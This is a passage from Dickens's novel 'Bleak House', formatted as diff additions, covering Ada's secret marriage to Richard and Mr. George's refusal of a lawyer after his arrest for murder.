+bringing his hand flat down upon his desk in a positive manner,
+"nothing."
+
+"You seem to forget," returned Mr. Woodcourt, "that I ask you to say
+nothing and have no interest in anything you say."
+
+"Pardon me, sir!" retorted Mr. Vholes. "You do yourself an injustice.
+No, sir! Pardon me! You shall not--shall not in my office, if I know
+it--do yourself an injustice. You are interested in anything, and in
+everything, that relates to your friend. I know human nature much
+better, sir, than to admit for an instant that a gentleman of your
+appearance is not interested in whatever concerns his friend."
+
+"Well," replied Mr. Woodcourt, "that may be. I am particularly
+interested in his address."
+
+"The number, sir," said Mr. Vholes parenthetically, "I believe I have
+already mentioned. If Mr. C. is to continue to play for this
+considerable stake, sir, he must have funds. Understand me! There are
+funds in hand at present. I ask for nothing; there are funds in hand.
+But for the onward play, more funds must be provided, unless Mr. C.
+is to throw away what he has already ventured, which is wholly and
+solely a point for his consideration. This, sir, I take the
+opportunity of stating openly to you as the friend of Mr. C. Without
+funds I shall always be happy to appear and act for Mr. C. to the
+extent of all such costs as are safe to be allowed out of the estate,
+not beyond that. I could not go beyond that, sir, without wronging
+some one. I must either wrong my three dear girls or my venerable
+father, who is entirely dependent on me, in the Vale of Taunton; or
+some one. Whereas, sir, my resolution is (call it weakness or folly
+if you please) to wrong no one."
+
+Mr. Woodcourt rather sternly rejoined that he was glad to hear it.
+
+"I wish, sir," said Mr. Vholes, "to leave a good name behind me.
+Therefore I take every opportunity of openly stating to a friend of
+Mr. C. how Mr. C. is situated. As to myself, sir, the labourer is
+worthy of his hire. If I undertake to put my shoulder to the wheel, I
+do it, and I earn what I get. I am here for that purpose. My name is
+painted on the door outside, with that object."
+
+"And Mr. Carstone's address, Mr. Vholes?"
+
+"Sir," returned Mr. Vholes, "as I believe I have already mentioned,
+it is next door. On the second story you will find Mr. C.'s
+apartments. Mr. C. desires to be near his professional adviser, and I
+am far from objecting, for I court inquiry."
+
+Upon this Mr. Woodcourt wished Mr. Vholes good day and went in search
+of Richard, the change in whose appearance he began to understand now
+but too well.
+
+He found him in a dull room, fadedly furnished, much as I had found
+him in his barrack-room but a little while before, except that he was
+not writing but was sitting with a book before him, from which his
+eyes and thoughts were far astray. As the door chanced to be standing
+open, Mr. Woodcourt was in his presence for some moments without
+being perceived, and he told me that he never could forget the
+haggardness of his face and the dejection of his manner before he was
+aroused from his dream.
+
+"Woodcourt, my dear fellow," cried Richard, starting up with extended
+hands, "you come upon my vision like a ghost."
+
+"A friendly one," he replied, "and only waiting, as they say ghosts
+do, to be addressed. How does the mortal world go?" They were seated
+now, near together.
+
+"Badly enough, and slowly enough," said Richard, "speaking at least
+for my part of it."
+
+"What part is that?"
+
+"The Chancery part."
+
+"I never heard," returned Mr. Woodcourt, shaking his head, "of its
+going well yet."
+
+"Nor I," said Richard moodily. "Who ever did?" He brightened again in
+a moment and said with his natural openness, "Woodcourt, I should be
+sorry to be misunderstood by you, even if I gained by it in your
+estimation. You must know that I have done no good this long time. I
+have not intended to do much harm, but I seem to have been capable of
+nothing else. It may be that I should have done better by keeping out
+of the net into which my destiny has worked me, but I think not,
+though I dare say you will soon hear, if you have not already heard,
+a very different opinion. To make short of a long story, I am afraid
+I have wanted an object; but I have an object now--or it has me--and
+it is too late to discuss it. Take me as I am, and make the best of
+me."
+
+"A bargain," said Mr. Woodcourt. "Do as much by me in return."
+
+"Oh! You," returned Richard, "you can pursue your art for its own
+sake, and can put your hand upon the plough and never turn, and can
+strike a purpose out of anything. You and I are very different
+creatures."
+
+He spoke regretfully and lapsed for a moment into his weary
+condition.
+
+"Well, well!" he cried, shaking it off. "Everything has an end. We
+shall see! So you will take me as I am, and make the best of me?"
+
+"Aye! Indeed I will." They shook hands upon it laughingly, but in
+deep earnestness. I can answer for one of them with my heart of
+hearts.
+
+"You come as a godsend," said Richard, "for I have seen nobody here
+yet but Vholes. Woodcourt, there is one subject I should like to
+mention, for once and for all, in the beginning of our treaty. You
+can hardly make the best of me if I don't. You know, I dare say, that
+I have an attachment to my cousin Ada?"
+
+Mr. Woodcourt replied that I had hinted as much to him. "Now pray,"
+returned Richard, "don't think me a heap of selfishness. Don't
+suppose that I am splitting my head and half breaking my heart over
+this miserable Chancery suit for my own rights and interests alone.
+Ada's are bound up with mine; they can't be separated; Vholes works
+for both of us. Do think of that!"
+
+He was so very solicitous on this head that Mr. Woodcourt gave him
+the strongest assurances that he did him no injustice.
+
+"You see," said Richard, with something pathetic in his manner of
+lingering on the point, though it was off-hand and unstudied, "to an
+upright fellow like you, bringing a friendly face like yours here, I
+cannot bear the thought of appearing selfish and mean. I want to see
+Ada righted, Woodcourt, as well as myself; I want to do my utmost to
+right her, as well as myself; I venture what I can scrape together to
+extricate her, as well as myself. Do, I beseech you, think of that!"
+
+Afterwards, when Mr. Woodcourt came to reflect on what had passed, he
+was so very much impressed by the strength of Richard's anxiety on
+this point that in telling me generally of his first visit to
+Symond's Inn he particularly dwelt upon it. It revived a fear I had
+had before that my dear girl's little property would be absorbed by
+Mr. Vholes and that Richard's justification to himself would be
+sincerely this. It was just as I began to take care of Caddy that the
+interview took place, and I now return to the time when Caddy had
+recovered and the shade was still between me and my darling.
+
+I proposed to Ada that morning that we should go and see Richard. It
+a little surprised me to find that she hesitated and was not so
+radiantly willing as I had expected.
+
+"My dear," said I, "you have not had any difference with Richard
+since I have been so much away?"
+
+"No, Esther."
+
+"Not heard of him, perhaps?" said I.
+
+"Yes, I have heard of him," said Ada.
+
+Such tears in her eyes, and such love in her face. I could not make
+my darling out. Should I go to Richard's by myself? I said. No, Ada
+thought I had better not go by myself. Would she go with me? Yes, Ada
+thought she had better go with me. Should we go now? Yes, let us go
+now. Well, I could not understand my darling, with the tears in her
+eyes and the love in her face!
+
+We were soon equipped and went out. It was a sombre day, and drops of
+chill rain fell at intervals. It was one of those colourless days
+when everything looks heavy and harsh. The houses frowned at us, the
+dust rose at us, the smoke swooped at us, nothing made any compromise
+about itself or wore a softened aspect. I fancied my beautiful girl
+quite out of place in the rugged streets, and I thought there were
+more funerals passing along the dismal pavements than I had ever seen
+before.
+
+We had first to find out Symond's Inn. We were going to inquire in a
+shop when Ada said she thought it was near Chancery Lane. "We are not
+likely to be far out, my love, if we go in that direction," said I.
+So to Chancery Lane we went, and there, sure enough, we saw it
+written up. Symond's Inn.
+
+We had next to find out the number. "Or Mr. Vholes's office will do,"
+I recollected, "for Mr. Vholes's office is next door." Upon which Ada
+said, perhaps that was Mr. Vholes's office in the corner there. And
+it really was.
+
+Then came the question, which of the two next doors? I was going for
+the one, and my darling was going for the other; and my darling was
+right again. So up we went to the second story, when we came to
+Richard's name in great white letters on a hearse-like panel.
+
+I should have knocked, but Ada said perhaps we had better turn the
+handle and go in. Thus we came to Richard, poring over a table
+covered with dusty bundles of papers which seemed to me like dusty
+mirrors reflecting his own mind. Wherever I looked I saw the ominous
+words that ran in it repeated. Jarndyce and Jarndyce.
+
+He received us very affectionately, and we sat down. "If you had come
+a little earlier," he said, "you would have found Woodcourt here.
+There never was such a good fellow as Woodcourt is. He finds time to
+look in between-whiles, when anybody else with half his work to do
+would be thinking about not being able to come. And he is so cheery,
+so fresh, so sensible, so earnest, so--everything that I am not, that
+the place brightens whenever he comes, and darkens whenever he goes
+again."
+
+"God bless him," I thought, "for his truth to me!"
+
+"He is not so sanguine, Ada," continued Richard, casting his dejected
+look over the bundles of papers, "as Vholes and I are usually, but he
+is only an outsider and is not in the mysteries. We have gone into
+them, and he has not. He can't be expected to know much of such a
+labyrinth."
+
+As his look wandered over the papers again and he passed his two
+hands over his head, I noticed how sunken and how large his eyes
+appeared, how dry his lips were, and how his finger-nails were all
+bitten away.
+
+"Is this a healthy place to live in, Richard, do you think?" said I.
+
+"Why, my dear Minerva," answered Richard with his old gay laugh, "it
+is neither a rural nor a cheerful place; and when the sun shines
+here, you may lay a pretty heavy wager that it is shining brightly in
+an open spot. But it's well enough for the time. It's near the
+offices and near Vholes."
+
+"Perhaps," I hinted, "a change from both--"
+
+"Might do me good?" said Richard, forcing a laugh as he finished the
+sentence. "I shouldn't wonder! But it can only come in one way
+now--in one of two ways, I should rather say. Either the suit must be
+ended, Esther, or the suitor. But it shall be the suit, my dear girl,
+the suit, my dear girl!"
+
+These latter words were addressed to Ada, who was sitting nearest to
+him. Her face being turned away from me and towards him, I could not
+see it.
+
+"We are doing very well," pursued Richard. "Vholes will tell you so.
+We are really spinning along. Ask Vholes. We are giving them no rest.
+Vholes knows all their windings and turnings, and we are upon them
+everywhere. We have astonished them already. We shall rouse up that
+nest of sleepers, mark my words!"
+
+His hopefulness had long been more painful to me than his
+despondency; it was so unlike hopefulness, had something so fierce in
+its determination to be it, was so hungry and eager, and yet so
+conscious of being forced and unsustainable that it had long touched
+me to the heart. But the commentary upon it now indelibly written in
+his handsome face made it far more distressing than it used to be. I
+say indelibly, for I felt persuaded that if the fatal cause could
+have been for ever terminated, according to his brightest visions, in
+that same hour, the traces of the premature anxiety, self-reproach,
+and disappointment it had occasioned him would have remained upon his
+features to the hour of his death.
+
+"The sight of our dear little woman," said Richard, Ada still
+remaining silent and quiet, "is so natural to me, and her
+compassionate face is so like the face of old days--"
+
+Ah! No, no. I smiled and shook my head.
+
+"--So exactly like the face of old days," said Richard in his cordial
+voice, and taking my hand with the brotherly regard which nothing
+ever changed, "that I can't make pretences with her. I fluctuate a
+little; that's the truth. Sometimes I hope, my dear, and sometimes
+I--don't quite despair, but nearly. I get," said Richard,
+relinquishing my hand gently and walking across the room, "so tired!"
+
+He took a few turns up and down and sunk upon the sofa. "I get," he
+repeated gloomily, "so tired. It is such weary, weary work!"
+
+He was leaning on his arm saying these words in a meditative voice
+and looking at the ground when my darling rose, put off her bonnet,
+kneeled down beside him with her golden hair falling like sunlight on
+his head, clasped her two arms round his neck, and turned her face to
+me. Oh, what a loving and devoted face I saw!
+
+"Esther, dear," she said very quietly, "I am not going home again."
+
+A light shone in upon me all at once.
+
+"Never any more. I am going to stay with my dear husband. We have
+been married above two months. Go home without me, my own Esther; I
+shall never go home any more!" With those words my darling drew his
+head down on her breast and held it there. And if ever in my life I
+saw a love that nothing but death could change, I saw it then before
+me.
+
+"Speak to Esther, my dearest," said Richard, breaking the silence
+presently. "Tell her how it was."
+
+I met her before she could come to me and folded her in my arms. We
+neither of us spoke, but with her cheek against my own I wanted to
+hear nothing. "My pet," said I. "My love. My poor, poor girl!" I
+pitied her so much. I was very fond of Richard, but the impulse that
+I had upon me was to pity her so much.
+
+"Esther, will you forgive me? Will my cousin John forgive me?"
+
+"My dear," said I, "to doubt it for a moment is to do him a great
+wrong. And as to me!" Why, as to me, what had I to forgive!
+
+I dried my sobbing darling's eyes and sat beside her on the sofa, and
+Richard sat on my other side; and while I was reminded of that so
+different night when they had first taken me into their confidence
+and had gone on in their own wild happy way, they told me between
+them how it was.
+
+"All I had was Richard's," Ada said; "and Richard would not take it,
+Esther, and what could I do but be his wife when I loved him dearly!"
+
+"And you were so fully and so kindly occupied, excellent Dame
+Durden," said Richard, "that how could we speak to you at such a
+time! And besides, it was not a long-considered step. We went out one
+morning and were married."
+
+"And when it was done, Esther," said my darling, "I was always
+thinking how to tell you and what to do for the best. And sometimes I
+thought you ought to know it directly, and sometimes I thought you
+ought not to know it and keep it from my cousin John; and I could not
+tell what to do, and I fretted very much."
+
+How selfish I must have been not to have thought of this before! I
+don't know what I said now. I was so sorry, and yet I was so fond of
+them and so glad that they were fond of me; I pitied them so much,
+and yet I felt a kind of pride in their loving one another. I never
+had experienced such painful and pleasurable emotion at one time, and
+in my own heart I did not know which predominated. But I was not
+there to darken their way; I did not do that.
+
+When I was less foolish and more composed, my darling took her
+wedding-ring from her bosom, and kissed it, and put it on. Then I
+remembered last night and told Richard that ever since her marriage
+she had worn it at night when there was no one to see. Then Ada
+blushingly asked me how did I know that, my dear. Then I told Ada how
+I had seen her hand concealed under her pillow and had little thought
+why, my dear. Then they began telling me how it was all over again,
+and I began to be sorry and glad again, and foolish again, and to
+hide my plain old face as much as I could lest I should put them out
+of heart.
+
+Thus the time went on until it became necessary for me to think of
+returning. When that time arrived it was the worst of all, for then
+my darling completely broke down. She clung round my neck, calling me
+by every dear name she could think of and saying what should she do
+without me! Nor was Richard much better; and as for me, I should have
+been the worst of the three if I had not severely said to myself,
+"Now Esther, if you do, I'll never speak to you again!"
+
+"Why, I declare," said I, "I never saw such a wife. I don't think she
+loves her husband at all. Here, Richard, take my child, for goodness'
+sake." But I held her tight all the while, and could have wept over
+her I don't know how long.
+
+"I give this dear young couple notice," said I, "that I am only going
+away to come back to-morrow and that I shall be always coming
+backwards and forwards until Symond's Inn is tired of the sight of
+me. So I shall not say good-bye, Richard. For what would be the use
+of that, you know, when I am coming back so soon!"
+
+I had given my darling to him now, and I meant to go; but I lingered
+for one more look of the precious face which it seemed to rive my
+heart to turn from.
+
+So I said (in a merry, bustling manner) that unless they gave me some
+encouragement to come back, I was not sure that I could take that
+liberty, upon which my dear girl looked up, faintly smiling through
+her tears, and I folded her lovely face between my hands, and gave it
+one last kiss, and laughed, and ran away.
+
+And when I got downstairs, oh, how I cried! It almost seemed to me
+that I had lost my Ada for ever. I was so lonely and so blank without
+her, and it was so desolate to be going home with no hope of seeing
+her there, that I could get no comfort for a little while as I walked
+up and down in a dim corner sobbing and crying.
+
+I came to myself by and by, after a little scolding, and took a coach
+home. The poor boy whom I had found at St. Albans had reappeared a
+short time before and was lying at the point of death; indeed, was
+then dead, though I did not know it. My guardian had gone out to
+inquire about him and did not return to dinner. Being quite alone, I
+cried a little again, though on the whole I don't think I behaved so
+very, very ill.
+
+It was only natural that I should not be quite accustomed to the loss
+of my darling yet. Three or four hours were not a long time after
+years. But my mind dwelt so much upon the uncongenial scene in which
+I had left her, and I pictured it as such an overshadowed
+stony-hearted one, and I so longed to be near her and taking some
+sort of care of her, that I determined to go back in the evening only
+to look up at her windows.
+
+It was foolish, I dare say, but it did not then seem at all so to me,
+and it does not seem quite so even now. I took Charley into my
+confidence, and we went out at dusk. It was dark when we came to the
+new strange home of my dear girl, and there was a light behind the
+yellow blinds. We walked past cautiously three or four times, looking
+up, and narrowly missed encountering Mr. Vholes, who came out of his
+office while we were there and turned his head to look up too before
+going home. The sight of his lank black figure and the lonesome air
+of that nook in the dark were favourable to the state of my mind. I
+thought of the youth and love and beauty of my dear girl, shut up in
+such an ill-assorted refuge, almost as if it were a cruel place.
+
+It was very solitary and very dull, and I did not doubt that I might
+safely steal upstairs. I left Charley below and went up with a light
+foot, not distressed by any glare from the feeble oil lanterns on the
+way. I listened for a few moments, and in the musty rotting silence
+of the house believed that I could hear the murmur of their young
+voices. I put my lips to the hearse-like panel of the door as a kiss
+for my dear and came quietly down again, thinking that one of these
+days I would confess to the visit.
+
+And it really did me good, for though nobody but Charley and I knew
+anything about it, I somehow felt as if it had diminished the
+separation between Ada and me and had brought us together again for
+those moments. I went back, not quite accustomed yet to the change,
+but all the better for that hovering about my darling.
+
+My guardian had come home and was standing thoughtfully by the dark
+window. When I went in, his face cleared and he came to his seat, but
+he caught the light upon my face as I took mine.
+
+"Little woman," said he, "You have been crying."
+
+"Why, yes, guardian," said I, "I am afraid I have been, a little. Ada
+has been in such distress, and is so very sorry, guardian."
+
+I put my arm on the back of his chair, and I saw in his glance that
+my words and my look at her empty place had prepared him.
+
+"Is she married, my dear?"
+
+I told him all about it and how her first entreaties had referred to
+his forgiveness.
+
+"She has no need of it," said he. "Heaven bless her and her husband!"
+But just as my first impulse had been to pity her, so was his. "Poor
+girl, poor girl! Poor Rick! Poor Ada!"
+
+Neither of us spoke after that, until he said with a sigh, "Well,
+well, my dear! Bleak House is thinning fast."
+
+"But its mistress remains, guardian." Though I was timid about saying
+it, I ventured because of the sorrowful tone in which he had spoken.
+"She will do all she can to make it happy," said I.
+
+"She will succeed, my love!"
+
+The letter had made no difference between us except that the seat by
+his side had come to be mine; it made none now. He turned his old
+bright fatherly look upon me, laid his hand on my hand in his old
+way, and said again, "She will succeed, my dear. Nevertheless, Bleak
+House is thinning fast, O little woman!"
+
+I was sorry presently that this was all we said about that. I was
+rather disappointed. I feared I might not quite have been all I had
+meant to be since the letter and the answer.
+
+
+
+
+CHAPTER LII
+
+Obstinacy
+
+
+But one other day had intervened when, early in the morning as we
+were going to breakfast, Mr. Woodcourt came in haste with the
+astounding news that a terrible murder had been committed for which
+Mr. George had been apprehended and was in custody. When he told us
+that a large reward was offered by Sir Leicester Dedlock for the
+murderer's apprehension, I did not in my first consternation
+understand why; but a few more words explained to me that the
+murdered person was Sir Leicester's lawyer, and immediately my
+mother's dread of him rushed into my remembrance.
+
+This unforeseen and violent removal of one whom she had long watched
+and distrusted and who had long watched and distrusted her, one for
+whom she could have had few intervals of kindness, always dreading in
+him a dangerous and secret enemy, appeared so awful that my first
+thoughts were of her. How appalling to hear of such a death and be
+able to feel no pity! How dreadful to remember, perhaps, that she had
+sometimes even wished the old man away who was so swiftly hurried out
+of life!
+
+Such crowding reflections, increasing the distress and fear I always
+felt when the name was mentioned, made me so agitated that I could
+scarcely hold my place at the table. I was quite unable to follow the
+conversation until I had had a little time to recover. But when I
+came to myself and saw how shocked my guardian was and found that
+they were earnestly speaking of the suspected man and recalling every
+favourable impression we had formed of him out of the good we had
+known of him, my interest and my fears were so strongly aroused in
+his behalf that I was quite set up again.
+
+"Guardian, you don't think it possible that he is justly accused?"
+
+"My dear, I CAN'T think so. This man whom we have seen so
+open-hearted and compassionate, who with the might of a giant has the
+gentleness of a child, who looks as brave a fellow as ever lived and
+is so simple and quiet with it, this man justly accused of such a
+crime? I can't believe it. It's not that I don't or I won't. I
+can't!"
+
+"And I can't," said Mr. Woodcourt. "Still, whatever we believe or
+know of him, we had better not forget that some appearances are
+against him. He bore an animosity towards the deceased gentleman. He
+has openly mentioned it in many places. He is said to have expressed
+himself violently towards him, and he certainly did about him, to my
+knowledge. He admits that he was alone on the scene of the murder
+within a few minutes of its commission. I sincerely believe him to be
+as innocent of any participation in it as I am, but these are all
+reasons for suspicion falling upon him."
+
+"True," said my guardian. And he added, turning to me, "It would be
+doing him a very bad service, my dear, to shut our eyes to the truth
+in any of these respects."
+
+I felt, of course, that we must admit, not only to ourselves but to
+others, the full force of the circumstances against him. Yet I knew
+withal (I could not help saying) that their weight would not induce
+us to desert him in his need.
+
+"Heaven forbid!" returned my guardian. "We will stand by him, as he
+himself stood by the two poor creatures who are gone." He meant Mr.
+Gridley and the boy, to both of whom Mr. George had given shelter.
+
+Mr. Woodcourt then told us that the trooper's man had been with him
+before day, after wandering about the streets all night like a
+distracted creature. That one of the trooper's first anxieties was
+that we should not suppose him guilty. That he had charged his
+messenger to represent his perfect innocence with every solemn
+assurance he could send us. That Mr. Woodcourt had only quieted the
+man by undertaking to come to our house very early in the morning
+with these representations. He added that he was now upon his way to
+see the prisoner himself.
+
+My guardian said directly he would go too. Now, besides that I liked
+the retired soldier very much and that he liked me, I had that secret
+interest in what had happened which was only known to my guardian. I
+felt as if it came close and near to me. It seemed to become
+personally important to myself that the truth should be discovered
+and that no innocent people should be suspected, for suspicion, once
+run wild, might run wilder.
+
+In a word, I felt as if it were my duty and obligation to go with
+them. My guardian did not seek to dissuade me, and I went.
+
+It was a large prison with many courts and passages so like one
+another and so uniformly paved that I seemed to gain a new
+comprehension, as I passed along, of the fondness that solitary
+prisoners, shut up among the same staring walls from year to year,
+have had--as I have read--for a weed or a stray blade of grass. In an
+arched room by himself, like a cellar upstairs, with walls so
+glaringly white that they made the massive iron window-bars and
+iron-bound door even more profoundly black than they were, we found
+the trooper standing in a corner. He had been sitting on a bench
+there and had risen when he heard the locks and bolts turn.
+
+When he saw us, he came forward a step with his usual heavy tread,
+and there stopped and made a slight bow. But as I still advanced,
+putting out my hand to him, he understood us in a moment.
+
+"This is a load off my mind, I do assure you, miss and gentlemen,"
+said he, saluting us with great heartiness and drawing a long breath.
+"And now I don't so much care how it ends."
+
+He scarcely seemed to be the prisoner. What with his coolness and his
+soldierly bearing, he looked far more like the prison guard.
+
+"This is even a rougher place than my gallery to receive a lady in,"
+said Mr. George, "but I know Miss Summerson will make the best of
+it." As he handed me to the bench on which he had been sitting, I sat
+down, which seemed to give him great satisfaction.
+
+"I thank you, miss," said he.
+
+"Now, George," observed my guardian, "as we require no new assurances
+on your part, so I believe we need give you none on ours."
+
+"Not at all, sir. I thank you with all my heart. If I was not
+innocent of this crime, I couldn't look at you and keep my secret to
+myself under the condescension of the present visit. I feel the
+present visit very much. I am not one of the eloquent sort, but I
+feel it, Miss Summerson and gentlemen, deeply."
+
+He laid his hand for a moment on his broad chest and bent his head to
+us. Although he squared himself again directly, he expressed a great
+amount of natural emotion by these simple means.
+
+"First," said my guardian, "can we do anything for your personal
+comfort, George?"
+
+"For which, sir?" he inquired, clearing his throat.
+
+"For your personal comfort. Is there anything you want that would
+lessen the hardship of this confinement?"
+
+"Well, sir," replied George, after a little cogitation, "I am equally
+obliged to you, but tobacco being against the rules, I can't say that
+there is."
+
+"You will think of many little things perhaps, by and by. Whenever
+you do, George, let us know."
+
+"Thank you, sir. Howsoever," observed Mr. George with one of his
+sunburnt smiles, "a man who has been knocking about the world in a
+vagabond kind of a way as long as I have gets on well enough in a
+place like the present, so far as that goes."
+
+"Next, as to your case," observed my guardian.
+
+"Exactly so, sir," returned Mr. George, folding his arms upon his
+breast with perfect self-possession and a little curiosity.
+
+"How does it stand now?"
+
+"Why, sir, it is under remand at present. Bucket gives me to
+understand that he will probably apply for a series of remands from
+time to time until the case is more complete. How it is to be made
+more complete I don't myself see, but I dare say Bucket will manage
+it somehow."
+
+"Why, heaven save us, man," exclaimed my guardian, surprised into his
+old oddity and vehemence, "you talk of yourself as if you were
+somebody else!"
+
+"No offence, sir," said Mr. George. "I am very sensible of your
+kindness. But I don't see how an innocent man is to make up his mind
+to this kind of thing without knocking his head against the walls
+unless he takes it in that point of view.
+
+"That is true enough to a certain extent," returned my guardian,
+softened. "But my good fellow, even an innocent man must take
+ordinary precautions to defend himself."
+
+"Certainly, sir. And I have done so. I have stated to the
+magistrates, 'Gentlemen, I am as innocent of this charge as
+yourselves; what has been stated against me in the way of facts is
+perfectly true; I know no more about it.' I intend to continue
+stating that, sir. What more can I do? It's the truth."
+
+"But the mere truth won't do," rejoined my guardian.
+
+"Won't it indeed, sir? Rather a bad look-out for me!" Mr. George
+good-humouredly observed.
+
+"You must have a lawyer," pursued my guardian. "We must engage a good
+one for you."
+
+"I ask your pardon, sir," said Mr. George with a step backward. "I am
+equally obliged. But I must decidedly beg to be excused from anything
+of that sort."
+
+"You won't have a lawyer?"
+
+"No, sir." Mr. George shook his head in the most emphatic manner. "I
+thank you all the same, sir, but--no lawyer!"
+
+"Why not?"
+
+"I don't take kindly to the breed," said Mr. George. "Gridley didn't.
+And--if you'll excuse my saying so much--I should hardly have thought
+you did yourself, sir."
+
+"That's equity," my guardian explained, a little at a loss; "that's
+equity, George."
+
+"Is it, indeed, sir?" returned the trooper in his off-hand manner. "I
+am not acquainted with those shades of names myself, but in a general
+way I object to the breed."
+
+Unfolding his arms and changing his position, he stood with one
+massive hand upon the table and the other on his hip, as complete a
+picture of a man who was not to be moved from a fixed purpose as ever
+I saw. It was in vain that we all three talked to him and endeavoured
+to persuade him; he listened with that gentleness which went so well
+with his bluff bearing, but was evidently no more shaken by our
+representations that his place of confinement was.
+
+"Pray think, once more, Mr. George," said I. "Have you no wish in
+reference to your case?"
+
+"I certainly could wish it to be tried, miss," he returned, "by
+court-martial; but that is out of the question, as I am well aware.
+If you will be so good as to favour me with your attention for a
+couple of minutes, miss, not more, I'll endeavour to explain myself
+as clearly as I can."
+
+He looked at us all three in turn, shook his head a little as if he
+were adjusting it in the stock and collar of a tight uniform, and
+after a moment's reflection went on.
+
+"You see, miss, I have been handcuffed and taken into custody and
+brought here. I am a marked and disgraced man, and here I am. My
+shooting gallery is rummaged, high and low, by Bucket; such property
+as I have--'tis small--is turned this way and that till it don't know
+itself; and (as aforesaid) here I am! I don't particular complain of
+that. Though I am in these present quarters through no immediately
+preceding fault of mine, I can very well understand that if I hadn't
+gone into the vagabond way in my youth, this wouldn't have happened.
+It HAS happened. Then comes the question how to meet it."
+
+He rubbed his swarthy forehead for a moment with a good-humoured look
+and said apologetically, "I am such a short-winded talker that I must
+think a bit." Having thought a bit, he looked up again and resumed.
+
+"How to meet it. Now, the unfortunate deceased was himself a lawyer
+and had a pretty tight hold of me. I don't wish to rake up his ashes,
+but he had, what I should call if he was living, a devil of a tight
+hold of me. I don't like his trade the better for that. If I had kept
+clear of his trade, I should have kept outside this place. But that's
+not what I mean. Now, suppose I had killed him. Suppose I really had
+discharged into his body any one of those pistols recently fired off
+that Bucket has found at my place, and dear me, might have found
+there any day since it has been my place. What should I have done as
+soon as I was hard and fast here? Got a lawyer."
+
+He stopped on hearing some one at the locks and bolts and did not
+resume until the door had been opened and was shut again. For what
+purpose opened, I will mention presently.
+
+"I should have got a lawyer, and he would have said (as I have often
+read in the newspapers), 'My client says nothing, my client reserves
+his defence': my client this, that, and t'other. Well, 'tis not the
+custom of that breed to go straight, according to my opinion, or to
+think that other men do. Say I am innocent and I get a lawyer. He
+would be as likely to believe me guilty as not; perhaps more. What
+would he do, whether or not? Act as if I was--shut my mouth up, tell
+me not to commit myself, keep circumstances back, chop the evidence
+small, quibble, and get me off perhaps! But, Miss Summerson, do I
+care for getting off in that way; or would I rather be hanged in my
+own way--if you'll excuse my mentioning anything so disagreeable to a
+lady?"
+
+He had warmed into his subject now, and was under no further
+necessity to wait a bit.
+
+"I would rather be hanged in my own way. And I mean to be! I don't
+intend to say," looking round upon us with his powerful arms akimbo
+and his dark eyebrows raised, "that I am more partial to being hanged
+than another man. What I say is, I must come off clear and full or
+not at all. Therefore, when I hear stated against me what is true, I
+say it's true; and when they tell me, 'whatever you say will be
+used,' I tell them I don't mind that; I mean it to be used. If they
+can't make me innocent out of the whole truth, they are not likely to
+do it out of anything less, or anything else. And if they are, it's
+worth nothing to me."
+
+Taking a pace or two over the stone floor, he came back to the table
+and finished what he had to say.
+
+"I thank you, miss and gentlemen both, many times for your attention,
+and many times more for your interest. That's the plain state of the
+matter as it points itself out to a mere trooper with a blunt
+broadsword kind of a mind. I have never done well in life beyond my
+duty as a soldier, and if the worst comes after all, I shall reap
+pretty much as I have sown. When I got over the first crash of being
+seized as a murderer--it don't take a rover who has knocked about so
+much as myself so very long to recover from a crash--I worked my way
+round to what you find me now. As such I shall remain. No relations
+will be disgraced by me or made unhappy for me, and--and that's all
+I've got to say."
+
+The door had been opened to admit another soldier-looking man of less
+prepossessing appearance at first sight and a weather-tanned,
+bright-eyed wholesome woman with a basket, who, from her entrance,
+had been exceedingly attentive to all Mr. George had said. Mr. George
+had received them with a familiar nod and a friendly look, but
+without any more particular greeting in the midst of his address. He
+now shook them cordially by the hand and said, "Miss Summerson and
+gentlemen, this is an old comrade of mine, Matthew Bagnet. And this
+is his wife, Mrs. Bagnet."
+
+Mr. Bagnet made us a stiff military bow, and Mrs. Bagnet dropped us a
+curtsy.
+
+"Real good friends of mine, they are," sald Mr. George. "It was at
+their house I was taken."
+
+"With a second-hand wiolinceller," Mr. Bagnet put in, twitching his
+head angrily. "Of a good tone. For a friend. That money was no object
+to."
+
+"Mat," said Mr. George, "you have heard pretty well all I have been
+saying to this lady and these two gentlemen. I know it meets your
+approval?"
+
+Mr. Bagnet, after considering, referred the point to his wife. "Old
+girl," said he. "Tell him. Whether or not. It meets my approval."
+
+"Why, George," exclaimed Mrs. Bagnet, who had been unpacking her
+basket, in which there was a piece of cold pickled pork, a little tea
+and sugar, and a brown loaf, "you ought to know it don't. You ought
+to know it's enough to drive a person wild to hear you. You won't be
+got off this way, and you won't be got off that way--what do you mean
+by such picking and choosing? It's stuff and nonsense, George."
+
+"Don't be severe upon me in my misfortunes, Mrs. Bagnet," said the
+trooper lightly.
+
+"Oh! Bother your misfortunes," cried Mrs. Bagnet, "if they don't make
+you more reasonable than that comes to. I never was so ashamed in my
+life to hear a man talk folly as I have been to hear you talk this
+day to the present company. Lawyers? Why, what but too many cooks
+should hinder you from having a dozen lawyers if the gentleman
+recommended them to you."
+
+"This is a very sensible woman," said my guardian. "I hope you will
+persuade him, Mrs. Bagnet."
+
+"Persuade him, sir?" she returned. "Lord bless you, no. You don't
+know George. Now, there!" Mrs. Bagnet left her basket to point him
+out with both her bare brown hands. "There he stands! As self-willed
+and as determined a man, in the wrong way, as ever put a human
+creature under heaven out of patience! You could as soon take up and
+shoulder an eight and forty pounder by your own strength as turn that
+man when he has got a thing into his head and fixed it there. Why,
+don't I know him!" cried Mrs. Bagnet. "Don't I know you, George! You
+don't mean to set up for a new character with ME after all these
+years, I hope?"
+
+Her friendly indignation had an exemplary effect upon her husband,
+who shook his head at the trooper several times as a silent
+recommendation to him to yield. Between whiles, Mrs. Bagnet looked at
+me; and I understood from the play of her eyes that she wished me to
+do something, though I did not comprehend what.
+
+"But I have given up talking to you, old fellow, years and years,"
+said Mrs. Bagnet as she blew a little dust off the pickled pork,
+looking at me again; "and when ladies and gentlemen know you as well
+as I do, they'll give up talking to you too. If you are not too
+headstrong to accept of a bit of dinner, here it is."
+
+"I accept it with many thanks," returned the trooper.
+
+"Do you though, indeed?" said Mrs. Bagnet, continuing to grumble on
+good-humouredly. "I'm sure I'm surprised at that. I wonder you don't
+starve in your own way also. It would only be like you. Perhaps
+you'll set your mind upon THAT next." Here she again looked at me,
+and I now perceived from her glances at the door and at me, by turns,
+that she wished us to retire and to await her following us outside
+the prison. Communicating this by similar means to my guardian and
+Mr. Woodcourt, I rose.
+
+"We hope you will think better of it, Mr. George," said I, "and we
+shall come to see you again, trusting to find you more reasonable."
+
+"More grateful, Miss Summerson, you can't find me," he returned.
+
